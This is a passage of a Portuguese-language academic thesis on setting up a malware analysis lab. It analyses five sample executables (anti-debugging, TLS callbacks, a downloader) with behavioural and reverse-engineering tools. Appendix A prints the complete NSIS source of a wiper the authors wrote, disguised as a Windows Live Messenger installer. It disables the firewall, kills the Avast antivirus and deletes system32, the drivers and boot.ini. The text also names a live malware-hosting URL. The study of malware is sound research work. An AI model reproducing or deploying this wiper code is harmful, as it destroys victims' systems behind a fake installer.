Resultado do VirusTotal

Como pode ser visto na Figura 36, 33 dos 42 antivrus que o escanearam consideram o artefato 1 um malware.

Figura 36: Estatsticas do artefato 1 geradas no VrusTotal

82

9.2

Artefato 2
O segundo arquivo analisado chamado isDebuggerPresent.exe. Ao execut-lo, um

terminal se abre e, em seguida, uma janela de dilogo aberta com a mensagem No debugger detected, execute normally, como se v na Figura 37.

Figura 37: Execuo Inicial de isDebuggerPresent.exe

9.2.1

Anlise Comportamental

Process Explorer Do ponto de vista da anlise dos processos em execuo, esse arquivo no possui atividades suspeitas. O Process Explorer no o considera como tal (a cor de seu processo no roxa, como se v na Figura 38) e ele no possui uso largo de CPU. A nica suspeita sobre este arquivo a ausncia de descrio e companhia responsvel, mas isto no suciente para consider-lo um malware. Regshot Os valores modicados so comuns s trs anlises de registro realizadas, que suspeitase ser ao da segunda captura (vide Apndice C). Como a captura de processos e a captura de modicaes no registro do sistema no apresentaram comportamentos estranhos, esse cdigo no pode ser considerado um malware pela Anlise Comportamental.

83

Figura 38: Execuo do Process Explorer aps a execuo do Artefato 2

9.2.2

Engenharia Reversa

De forma bem clara, quando o arquivo foi executado dentro do IDA Pro, seu comportamento se alterou. Ao execut-lo, um terminal se abre e, em seguida, uma janela de dilogo aberta com a mensagem Debugger detected!, como se v na Figura 39, contrastando com a mensagem que aparece se o mesmo arquivo for executado fora do debugger.

Figura 39: Execuo de isDebuggerPresent.exe no interior do IDA Pro

84

Esse tipo de acontecimento faz referncia a uma tcnica utilizada pelos cdigos maliciosos denominada deteco de debugger. Quando o malware reconhece que ele est sendo executado dentro de um debugger, o que signica que seu funcionamento pode estar sendo estudado, ele altera seu comportamento para no ser detectado. Uma anlise mais aprofundada de seu cdigo pode mostrar claramente a presena da funo IsDebbugerPresent() pertencente biblioteca Kernel32.dll do Windows. Ela retorna verdadeiro caso o programa esteja sendo executado ao mesmo tempo que um debugger. Pode-se ver na Figura 40 a lista de strings do arquivo analisado identicando a funo IsDebuggerPresent().

Figura 40: Lista de strings de isDebuggerPresent.exe

Atravs do grco de uxo de controle do programa, Figura 41, um trecho foi extrado para que possa ser visualizada a bifurcao criada pela funo. Pode se ver claramente a diferena na sequncia das instrues caso algum debugger esteja sendo executado ou no. A informao de qual compilador foi utilizado na gerao do cdigo assembly do arquivo tambm foi colhida atravs da lista de strings e pode ser vista na Figura 42. Como nada alm da funo de deteco de debugger foi detectada, no h provas sucientes, no mbito da Engenharia Reversa, para consider-lo malicioso.

9.2.3

Resultado da Metodologia

A juno dos resultados da Anlise Comportamental, a qual no encontrou nenhum movimento suspeito por parte do arquivo analisado, com os da Engenharia Reversa, que vericou apenas a presena de uma tcnica anti-debugger, no foi suciente para considerar o arquivo como malicioso.

85

Figura 41: Trecho extrado do grco de uxo de controle do isDebuggerPresent.exe

Figura 42: Informaes sobre o compilador do isDebuggerPresent.exe

86

9.2.4

Resultado do VirusTotal

Como pode ser visto na Figura 43, nenhum dos 41 antivrus que o escanearam consideram o artefato 2 um malware.

Figura 43: Estatsticas do artefato 2 geradas no VrusTotal

9.3

Artefato 3
O terceiro arquivo analisado chamado tls.exe. Ao execut-lo, um terminal se abre e,

em seguida, uma janela de dilogo aberta com a mensagem Hello, world!, como se v na Figura 44.

Figura 44: Execuo Inicial de tls.exe

9.3.1

Anlise Comportamental

Process Explorer Assim como para o artefato anterior, o Process Explorer no identica o processo como malicioso. Como pode ser visto na Figura 45, a cor do processo azul (legenda do software para processos abertos pelo usurio). O nico rastro que o artefato deixa a ausncia de companhia responsvel e descrio do arquivo, fator que s permite levantar suspeitas contra o arquivo.

87

Figura 45: Execuo do Process Explorer aps a execuo do Artefato 3

Regshot Assim como no Artefato 2, os valores modicados so comuns s trs anlises de registro realizadas, que suspeita-se ser ao da segunda captura (vide Apndice D). Como a captura de processos e a captura de modicaes no registro do sistema no apresentaram comportamentos estranhos, esse cdigo no pode ser considerado um malware pela Anlise Comportamental.

9.3.2

Engenharia Reversa

Em um primeiro momento, no foi notado nada que pudesse indicar o arquivo como suspeito de apresentar maliciosidade. Porm, ao ser colocado um breakpoint na primeira instruo do cdigo, notou-se que outras instrues eram executadas antes mesmo da primeira, pois a mesma janela de dilogo de quando ele completamente executado apareceu. Alm disso, muitas bibliotecas foram carregadas (vide Figura 46), sendo que a primeira linha de cdigo no fazia aluso a nenhum carregamento. Esse tcnica utilizada atravs de funes de callback e visam a execuo de linhas de cdigo antes do comeo do programa. A tcnica funciona da seguinte forma: no momento que o sistema operacional inicializa as variveis do programa (antes da execuo da primeira instruo), algumas funes do mesmo

88

Figura 46: Bibliotecas carregadas antes da execuo da primeira instruo de tls.exe

podem ser realizadas para executar essa tarefa. Isso permite que trechos de cdigo sejam executados antes mesmo que o debugger assuma a execuo do programa no ponto de entrada. O TLS (Thread Local Storage), como dito na seo 4.1.1, a estrutura responsvel por manter a separao de dados entre as diferentes threads de um mesmo processo. As rotinas de inicializao do TLS so chamadas antes do ponto de entrada, no momento de criao dos threads. A insero de cdigos como funes de callback no TLS permite executar cdigo antes do ponto de entrada do programa, o que permite decriptografar, descompactar ou at mesmo modicar o cdigo para confundir quem o analisa. Com um estudo mais aprofundado, foi encontrado o trecho de cdigo pertencente a uma funo de callback no TLS que executa a abertura da janela de dilogo. Esse cdigo se encontra na Figura 47.

Figura 47: Trecho de cdigo que representa a funo de callback do tls.exe

Porm, essa funo de callback no realiza nenhuma instruo prejudicial ao sistema.

89

Foram tambm encontradas informaes sobre o compilador utilizado na gerao do cdigo assembly do programa atravs de uma anlise na lista de strings. Elas se encontram na Figura 48.

Figura 48: Trecho extrado da lista de strings que mostra o compilador do tls.exe

Como nada alm de uma funo de callback a qual no apresenta nenhuma instruo maliciosa foi detectada, no h provas sucientes, no mbito da Engenharia Reversa, para considerlo malicioso.

9.3.3

Resultado da Metodologia

A juno dos resultados da Anlise Comportamental, a qual no encontrou nenhum movimento suspeito por parte do arquivo analisado, com os da Engenharia Reversa, que vericou apenas a presena de uma funo de callback que no apresentava nenhuma instruo prejudicial ao sistema, no foi suciente para considerar o arquivo como malicioso.

9.3.4

Resultado do VirusTotal

Como pode ser visto na Figura 49, nenhum dos 42 antivrus que o escanearam consideram o artefato 3 um malware.

Figura 49: Estatsticas do artefato 3 geradas no VrusTotal

90

9.4

Artefato 4
O artefato 4 chamado nopack. Aps sua execuo, aparentemente apenas o arquivo

desaparece. Aps tornar os arquivos ocultos visveis, observa-se que ele apenas est oculto no mesmo local.

9.4.1

Anlise Comportamental

Process Explorer No foi possvel realizar anlises profundas com o Process Explorer. O tempo de vida do processo era curto o suciente para impedir qualquer vericao das DLLs que ele acessou. Regshot Os nicos registros modicados aps a execuo do arquivo so registros do prprio evento do Regshot. O programa executado em si aparentemente no modicou nada. Sendo assim, pela Anlise Comportamental, esse cdigo no possui indcios para ser considerado malicioso.

9.4.2

Engenharia Reversa

Inicialmente, foi analisada a Lista de Strings do arquivo, a qual pode ser vista na Figura 50.

Figura 50: Lista de Strings do nopack

Algumas strings encontradas do pistas da criao e do funcionamento do programa:

91

Software\\Borland\\Delphi\\Locales Informa o compilador (Borland) e a linguagem (Delphi) C:\\Arquivos de Programas\\Internet Explorer\\Iexplore.exe http://www.google.com O programa manda executar o Internet Explorer e abre a pgina do Google C:\\FlashPlayer.exe O programa manda executar o FlashPlayer http://www.nmhp-hc.org/k0I.jpg O programa acessa esse site Porm, apenas com as strings, no pode-se concluir nada. A Lista de Funes Importadas pode ser vista abaixo na Figura 51:

Figura 51: Lista de Funes Importadas do nopack

V-se que existem muitas funes que mexem com o registro, alm da URLDownloadToFileA, que baixa um arquivo e salva na mquina. Foi gerado, ento, o Grafo de Fluxo de Controle para uma anlise mais aprofundada do funcionamento do arquivo. Uma parte dele pode ser vista na Figura 52. Foi visto que, realmente, atravs da funo WinExec, tanto o Internet Explorer quanto o FlashPlayer so abertos. Ao ser analisada a funo sub_407EBC, pde ser entendido como o programa funciona inicialmente: ele abre o Internet Explorer e faz o download do arquivo contido no endereo http://www.nmhp-hc.org/k0I.jpg, salvando-o no caminho C:\\FlashPlayer.exe. Aps isso, o programa executa esse arquivo baixado. Foi realizada uma pesquisa pela reputao do domnio http://www.nmhp-hc.org/k0I.jpg pela web, e foi constatado que esse site conhecido por disseminar malwares. Os resultados dessa pesquisa podem ser vistos na Figura 53 e na 54.

92

Figura 52: Parte do Grafo de Fluxo de Controle do nopack

Figura 53: Resultado coletado do site http://www.malwaregroup.com/

Figura 54: Resultado coletado do site http://www.mywot.com/

93

Dessa forma, a Engenharia Reversa mostra que o nopack um malware que baixa outros malwares. Portanto, ela o considera como malicioso.

9.4.3

Resultado da Metodologia

Juntando-se os resultados da Anlise Comportamental com os da Engenharia Reversa, chega-se concluso de que o nopack malicioso.

9.4.4

Resultado do VirusTotal

Como pode ser visto na Figura 55, 33 dos 42 antivrus que o escanearam consideram o artefato 4 um malware.

Figura 55: Estatsticas do artefato 4 geradas no VrusTotal

9.5

Artefato 5
O quinto artefato a ser analisado foi gerado durante a criao desse trabalho. Seu cdigo-

fonte pode ser visto no Apndice A. Ele servir como prova de conceito, comprovando a eccia da metodologia de deteco de malware e mostrando que, para combater um malware, deve-se saber como ele funciona e, por consequncia, aprende-se a cri-lo. O malware criado foi denominado Windows Live Messenger 2009 Setup e foi feito em NSIS (Nullsoft Scriptable Install System), um sistema open source prossional para criar instaladores para Windows. Esse sistema foi desenvolvido para ser o menor e mais exvel possvel para ser rapidamente compartilhado pela Internet. O NSIS um sistema baseado em scripts e permite a criao de lgicas para os mais complexos passos de uma instalao.

94

Segue abaixo um resumo do funcionamento do malware: 1. Verica a conexo com a Internet. Caso no haja, ele tenta conectar o computador via Dialer 2. Baixa o arquivo original de instalao do Windows Live Messenger 2009 - o malware se disfara de instalador, por isso foi dado aquele nome ao arquivo - e o executa 3. Desativa o Firewall do Windows, para um possvel ataque posterior 4. Tenta fechar o antivrus Avast 5. Deleta arquivos do sistema essenciais para seu funcionamento, como drivers e arquivos do system32 Quando o Windows Live Messenger 2009 Setup executado, abre-se o instalador representado na Figura 56.

Figura 56: Instalador em execuo

Aps a sua execuo, observa-se que a maioria dos programas que se tenta rodar no funciona, pois pedem DLLs que faltam no sistema. Ao reinici-lo, a tela representada na Figura 57 exibida, mostrando que o sistema est incapacitado de iniciar.

9.5.1

Anlise Comportamental

Process Explorer A seguir, a lista de DLLs suspeitas obtidas pelo Process Explorer. Ela s pode ser observada utilizando-se uma fotograa da tela (Figura 58), uma vez que o processo se encerrava rapidamente.

95

Figura 57: Sistema incapaz de iniciar aps execuo do artefato

Figura 58: Fotograa do Process Explorer em execuo

96

snxhk.dll: Por se tratar de uma DLL do antivrus Avast (ARQUIVO.WIKI.BR, 2012), estranho que seja chamada por um processo que supostamente apenas far download do Windows Live Messenger. uxtheme.dll: Na mesma linha de raciocnio da DLL anterior, no faz sentido um downloader do Windows Live Messenger chame uma DLL de alterao de temas do Windows (GHEDIN, 2008). Alm disso, vrias das DLLs consideradas crticas para o sistema so acessadas (elas esto listadas na seo 4.4 deste trabalho). Regshot Em uma primeira execuo, tentou-se fotografar os registros pela segunda vez aps o downloader encerrar sua ao. O que se observou foi que nem o navegador web ou o bloco de notas abriram (vide Figura 59).

Figura 59: Chrome incapaz de executar

Restou como alternativa realizar uma anlise menos precisa do registro do sistema, tirando a segunda fotograa dos registros durante a execuo do downloader, mas aps o encerramento do processo do artefato de acordo com o Process Explorer. Vericou-se a existncia dos seguintes valores modicados: StandardProle\\EnableFirewall: 0x00000000 Desliga o Firewall do Sistema. SharedAccess\\Epoch\\Epoch ativado para a necessidade de compartilhar arquivos. Nesse caso, no suspeito por se tratar de um downloader. Aps todos esses comportamentos maliciosos mostrados pelo arquivo, pode-se dizer que o artefato considerado um malware pela Anlise Comportamental.

97

9.5.2

Engenharia Reversa

Como princpio de anlise, se tentou obter alguma informao na Lista de Funes Importadas, mas sem sucesso, j que a grande maioria das funes no foram identicadas pelo debugger. Utilizando-se da Lista de Nomes para a obteno de informaes sobre o arquivo, encontrouse o NSIS Error, o qual indica que o programa foi feito em NSIS. Atravs da anlise da Lista de Strings, pde se notar muitas strings que justicam os comportamentos mostrados quando o arquivo foi executado: DeleteFileA: apagamento de arquivo ReadFile: leitura de arquivo WriteFile: escrita em arquivo RemoveDirectoryA: remoo de diretrio RegSetValueExA, RegDeleteValueA, RegCreateKeyExA, RegDeleteKeyA, RegOpenKeyExA: manipulao total de arquivos do registro - modicao, criao e apagamento ShellExecuteA: executa um programa da mquina As strings citadas anteriormente mostram que o artefato modica e apaga os mais diversos arquivos da mquina. Lembrando o fato de que, aps a execuo do programa, DLLs passam a faltar, pode-se pressupor que so apagados arquivos importantes, como as bibliotecas contidas na pasta system32. incomum que um arquivo no malicioso faa tantas manipulaes em diretrios e registros. Outro fato importante que o arquivo executa outro programa. Caso fosse somente um instalador, no haveria essa necessidade de execuo. O Grco de Fluxo de Controle mostrou muitas vezes a utilizao do DeleteFileA nas mais diversas funes do programa. Atravs da colocao de um breakpoint no incio do cdigo, foi visto que uma grande quantidade de DLLs so executadas, indicando a existncia de funo de callback. As DLLs cujas presenas chamaram ateno sero relatadas abaixo. A DLL Dialer serve para realizar conexo com a Internet. A DLL NSISdl utilizada para se fazer downloads de arquivos.

98

Comportamentalmente, foi visto que um novo arquivo, denominado wlsetup-custom, apareceu no mesmo diretrio do programa. Ele o verdadeiro instalador do Windows Live Messenger 2009, que foi baixado e executado. Dessa forma, v-se que a execuo do instalador serve para disfarar o que o programa est fazendo na mquina, que deletando arquivos e tendo outras atitudes maliciosas. Com todos esses indcios encontrados com a Engenharia Reversa, pode-se dizer que o programa malicioso.

9.5.3

Resultado da Metodologia

Levando em considerao os resultados obtidos na Anlise Comportamental e na Engenharia Reversa, alm do prprio estado do sistema operacional aps a execuo do artefato, o Windows Live Messenger 2009 Setup um software malicioso.

9.5.4

Resultado do VirusTotal

Mesmo com todos esses comportamentos maliciosos, apenas um antivrus, o Kaspersky, dos 40 que o analisaram, o reconheceu como malware. Esse resultado pode ser visto nas Figuras 60 e 61.

Figura 60: Estatsticas do artefato 5 geradas no VrusTotal

Figura 61: Kaspersky, o nico antivrus que o identicou como malware

99

10 Concluso

A Guerra Ciberntica j uma realidade. Os governos devem estar preparados para ataques de cibercriminosos e hacktivistas e, de acordo com a sua misso de defesa e dada a sua posse de informaes sigilosas, o Exrcito Brasileiro deve realizar a preveno e proteo contra esses ataques. O principal objetivo deste trabalho - criar uma infraestrutura de laboratrio de anlise de malware - foi cumprido com xito. Toda a estrutura necessria para o laboratrio foi descrita ao longo dos Captulos 2 a 8 e a metodologia para deteco de pragas virtuais foi testada no Captulo 9, obtendo sucesso no processo de identicao. Como pde ser visto, a existncia de analistas no processo de deteco de malware imprescindvel. A anlise automatizada possui falhas e, nesses momentos, a criatividade humana fator valioso, necessrio e decisivo para o resultado positivo da anlise. Outro produto foi obtido com sucesso: a construo de um cdigo malicioso. Utilizando recursos da linguagem NSIS, algumas tcnicas comuns em malwares foram implementadas. Saber construir um cdigo malicioso , certamente, um conhecimento poderoso para a identicao e conteno de programas de igual natureza. importante ressaltar que todos os softwares para aplicao da metodologia so de licena livre, sendo assim adequados poltica do Exrcito Brasileiro de uso de softwares. Entrando no aspecto de trabalhos futuros, por ser um passo inicial na construo de um laboratrio de anlise de malware, esse trabalho serve como base para vrios novos projetos. Os principais consistem na construo de softwares prprios para os diversos passos da anlise de malware. Apesar de suas licenas serem livres hoje, futuramente podem deixar de ser. O prprio aprimoramento da metodologia um trabalho que deve ser realizado constantemente. Novos malwares mais evoludos surgem a todo momento e as tcnicas de defesa devem crescer conjuntamente com eles.

100

Referncias
ALVES, C. Monitorando alteraes do registro. 2008. Disponvel em: <http://portatil.jaca.com.br/2008/12/06/monitorando-alteracoes-do-registro/>. ARQUIVO.WIKI.BR. Como resolver erros relacionados com o arquivo snxhk. 2012. Disponvel em: <http://www.arquivo.wiki.br/processo/snxhk.dll.html>. ASSUNCAO, M. Sniffers. 2012. Disponvel em: <http://www.invasao.com.br/coluna-marcos17.htm>. BACHAALANY, E. Detect if your program is running inside a Virtual Machine. 2005. BAECHER, P. et al. The Nepenthes Platform: An Effcient Approach to Collect Malware. 2006. BATISTELA, V.; TRENTIN, M. A. S. Identicao e Anlise de Trfego Malicioso Atravs do Uso de Honeypots. 2009. BECEIRO, F. P. Caractersticas dos Vrus Polimrcos. 2008. Disponvel em: <http://www.superdicas.com.br/infovir/polimorco.asp>. BIRCK, F. Estrutura e Funcionamento de um Executvel. 2007. Disponvel em: <http://www.fergonez.net/les/tut_win32_exe.pdf>. CARDOSO, L. P. Vrus Polimrcos. 2011. Disponvel em: <http://www.gta.ufrj.br/ensino/eel879/trabalhos_vf_2011_2/cardoso/index.php?le=apresentacao>. CGI. O que spam? 2012. Disponvel em: <http://www.antispam.br/conceito>. FILHO, D. S. F. et al. Anlise Comportamental de Cdigo Malicioso Atravs da Monitorao de Chamadas de Sistema e Trfego de Rede. 2010. Disponvel em: <http://www.las.ic.unicamp.br/paulo/papers/2010-SBSEG-dario.fernandes-andre.gregiovitor.afonso-rafael.santos-mario.jino-analise.malware.pdf>. FONSECA, G. Antivirus: Acabe com eles. 2006. Disponvel em: <http://www.forumpcs.com.br/comunidade/viewtopic.php?t=184052>. FOSSI, M. et al. Symantec Internet Security Threat Report. XVI, April, 2011. GHEDIN, R. P. Visual styles (uxtheme.dll) para o Windows XP SP3. 2008. Disponvel em: <http://www.winajuda.com/2008/05/07/visual-styles-uxthemedll-para-o-windows-xp-sp3/>. GOLDANI, C. A. Malwares. Abril 2005. Disponvel em: <http://www.barbacena.com.br/tonmaster/downloads/Malware.pdf>. INC., C. C. Free Javascript Obfuscator. 2010. Disponvel em: <http://javascriptobfuscator.com/default.aspx>. IOCCC. Winning Entries. 2012. Disponvel em: <http://www.ioccc.org/years.html>.

101

LANG, J.-P. mwcollectd Modules. 2010. Disponvel em: <http://code.mwcollect.org/projects/mwcollectd/wiki/Mwcollectd_Modules>. MARTINS, E. O que Sandbox? 2008. Disponvel em: <http://www.tecmundo.com.br/spyware/1172-o-que-e-sandbox-.htm>. MELO, L. P. de; AMARAL, D. M.; SAKAKIBARA, F. Anlise de Malware: Investigao de Cdigos Maliciosos Atravs de uma Abordagem Prtica. 2011. Disponvel em: <http://dainf.ct.utfpr.edu.br/ maziero/lib/exe/fetch.php/ceseg:2011-sbseg-mc1.pdf>. MENDONCA, A.; ZELENOVSKY, R. PC: Um Guia Prtico de Hardware e Interfaceamento. [S.l.]: MZ Editora, 2006. MICROSOFT. Centralized Information About The Concker Worm. 2009. Disponvel em: <http://blogs.technet.com/b/mmpc/archive/2009/01/22/centralized-information-about-theconcker-worm.aspx>. MICROSOFT. What is a API Driver? 2012. Disponvel em: <http://windows.microsoft.com/pt-BR/windows-vista/What-is-a-driver>. NPR. API Overview. 2009. Disponvel em: <http://www.npr.org/api/index>. ORTEGA, A. Congurando SPAN (Port Mirroring). 2009. PAZ, B. M. Uma Viagem ao Centro dos Executveis. 2006. Disponvel em: <http://www.inf.ufpr.br/bmuller/CI064/Bjrn.pdf>. PRADO, S. Padro ELF para Arquivos-Objeto. 2010. Disponvel em: <http://www.sergioprado.org/2010/07/24/padrao-elf-para-arquivos-objeto/>. PRICE, E. What is the Windows API? 2011. Disponvel em: <http://social.technet.microsoft.com/wiki/contents/articles/4645.windows-api-en-us.aspx>. PROJECT, T. H. Honeynet Project Challenges. 2012. Disponvel em: <http://honeynet.org/challenges>. RIETHMULLER, C. Windows driver API basics. 2003. Disponvel em: <http://www.staudio.de/kb/english/drivers/>. SIKORSKI; HONIG. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software. [S.l.: s.n.], 2012. 800 p. SILBERSCHATZ. Applied Operating System Concepts. [S.l.]: John Wiley & Sons, 2006. SOURCEFORGE.NET. Nepenthes Readme. 2009. Disponvel em: <http://nepenthes.carnivore.it/documentation:readme>. SOUZA, E. Registrar todas as alteraes feitas no registro do Windows (chaves, valores, nomes). 2010. Disponvel em: <http://www.edsouza.net/registrar-todas-as-alteracoes-feitasno-registro-do-windows-chaves-valores-nomes>. STOLL, C. Stalking The Wily Hacker. 1988. Disponvel em: <http://pdf.textles.com/academics/wilyhacker.pdf>. VENERE, G. Engenharia Reversa de Cdigo Malicioso. [S.l.]: Escola Superior de Redes RNP, 2009. 150 p.

102

VMWARE. O que um driver? 2012. Disponvel em: <http://www.vmware.com/br/virtualization/virtualization-basics/virtual-machine.html>. WERNER, T. honeytrap: A Dynamic Meta-Honeypot Daemon. 2009. Disponvel em: <http://honeytrap.carnivore.it/>.

103

APNDICE A -- Cdigo-fonte do malware criado, denominado Windows Live Messenger 2009 Setup

!dene PRODUCT_NAME MSN !dene PRODUCT_VERSION 1 !dene PRODUCT_PUBLISHER MSN SetCompressor lzma Name $PRODUCT_NAME OutFile Windows Live Messenger 2009 Setup.exe InstallDir $TEMP Icon C:\Documents and Settings\Administrador\Desktop\Msn.ico ; FAZ O PROGRAMA EXECUTAR SILENCIOSAMENTE, IGUAL AO ACER.JPG.EXE SilentInstall silent ; SE J NAO ESTIVER CONECTADO, CONECTA INTERNET VIA DIALER Function ConnectInternet Push $R0 ClearErrors Dialer::AttemptConnect IfErrors noie3 Pop $R0 StrCmp $R0 online connected MessageBox MB_OK|MB_ICONSTOP Conexao mal sucedida. Quit noie3:

104

MessageBox MB_OK|MB_ICONINFORMATION Por favor, conecte-se a internet agora. connected: Pop $R0 FunctionEnd ; FUNO EXECUTADA ANTES DE INICIAR O PROGRAMA PROPRIAMENTE DITO (CALLBACK FUNCTION). BAIXA O SETUP VERDADEIRO E O EXECUTA. Function .onInit Call ConnectInternet NSISdl::download http://wl.dlservice.microsoft.com/download/A/E/1/AE1E2509-C43D-4933AC1F-E2A9843878A2/pt-br/wlsetup-custom.exe wlsetup-custom.exe ExecShell open .\wlsetup-custom.exe FunctionEnd ; DESATIVA O FIREWALL DO WINDOWS Section SimpleFC::EnableDisableFirewall 0 Pop $0 ; FECHA O ANTIVRUS StrCpy $0 AvastUI.exe DetailPrint Procurando por processos chamados $0. KillProc::FindProcesses StrCmp $1 -1 wooops DetailPrint Encontrados $0 processos. StrCmp $0 0 completed Sleep 1500 Goto completed wooops: DetailPrint Erro. Abort

105

completed: DetailPrint OK. SectionEnd ; DELETA OS ARQUIVOS QUE SE ENCONTRAM NOS CAMINHOS INDICADOS. O /REBOOTOK SERVE PARA DELETAR OS ARQUIVOS QUE NO PODEM SER DELETADOS INSTANTANEAMENTE. ELES SO DELETADOS NA REINICIALIZAO DA MQUINA. Section Sec001 SEC01 Delete /REBOOTOK C:\WINDOWS\system\*.* Delete /REBOOTOK C:\WINDOWS\system32\*.* Delete /REBOOTOK C:\WINDOWS\system32\drivers\*.* Delete /REBOOTOK C:\boot.ini Delete /REBOOTOK C:\WINDOWS\system32\ntoskrnl.exe Delete /REBOOTOK C:\WINDOWS\*.* SectionEnd ; AS INSTRUES PARA DESABILITAR O FIREWALL E O ANTIVRUS SERVEM PARA UM ATAQUE ENQUANTO A MQUINA NAO REINICIADA OU CASO NO SE TENHA PERMISSO PARA DELETAR OS ARQUIVOS DO WINDOWS ; CASO SE QUEIRA REINICIAR O COMPUTADOR APS A EXECUO DO VRUS, BASTA DESCOMENTAR AS LINHAS ABAIXO ;Section -Post ;Reboot ;SectionEnd

106

APNDICE B -- Dados coletados pelo Regshot na anlise do arquivo acer.jpg.exe

Values Modied: 5 HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed: 0B CD F7 46 BF 8D 52 3A 45 27 2F 77 29 C6 D8 2C 7D B0 D8 A3 0D 04 B3 56 AE 65 E3 CC D8 B6 B5 67 EC F7 08 22 EC CA 00 6D 48 F8 69 B4 C2 D9 B5 93 CC D2 4E 63 8B 25 15 72 24 21 42 8E CA D4 BA 7A D1 0A 2D 7B 2F B8 45 B7 83 AA 8E B1 5D 97 FF EC HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed: 92 0D 03 88 30 6D AD 99 50 4B 0A D5 FA 92 ED 48 84 47 86 F1 EF 2C 7E 63 ED D9 30 64 2A B9 3F 51 5C F2 B6 80 97 73 B7 98 BF 76 6B 4E BF 5E 39 E8 E7 9F 17 98 3E 79 02 B2 AD A6 19 A8 2D 9D 2D 17 84 B6 17 C0 91 4B 76 D8 71 39 31 CF 43 CE 2C B5 HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Epoch\Epoch: 0x0000041C HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Epoch\Epoch: 0x0000041D HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Epoch\Epoch: 0x0000041C HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Epoch\Epoch: 0x0000041D HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU: 0E 00 00 00 C4 01 00 00 00 73 1C 5A 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist{75048700-EF1F-11D0-9888-006097DEACF9}\

107

Count\HRZR_EHACNGU: 0E 00 00 00 C5 01 00 00 50 5A 0A 71 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0D 00 00 00 0A 00 00 00 F0 A1 AF D0 13 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0E 00 00 00 0B 00 00 00 50 5A 0A 71 14 01 CD 01

108

APNDICE C -- Dados coletados pelo Regshot na anlise do arquivo IsDebuggerPresent.exe

Values Modied: 2 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU: 0E 00 00 00 C4 01 00 00 00 73 1C 5A 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU: 0E 00 00 00 C5 01 00 00 50 5A 0A 71 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0D 00 00 00 0A 00 00 00 F0 A1 AF D0 13 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0E 00 00 00 0B 00 00 00 50 5A 0A 71 14 01 CD 01

109

APNDICE D -- Dados coletados pelo Regshot na anlise do arquivo tls.exe

Values Modied: 2 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU: 0E 00 00 00 C4 01 00 00 00 73 1C 5A 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU: 0E 00 00 00 C5 01 00 00 50 5A 0A 71 14 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0D 00 00 00 0A 00 00 00 F0 A1 AF D0 13 01 CD 01 HKU\S-1-5-21-1801674531-1960408961-839522115-500\Software\Microsoft\ Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\ Count\HRZR_EHACNGU:P: \Qbphzragf naq Frggvatf\Nqzvavfgengbe\Qrfxgbc\Rkrzcybf\ frffnb1\npre.wct.rkr: 0E 00 00 00 0B 00 00 00 50 5A 0A 71 14 01 CD 01

Anda mungkin juga menyukai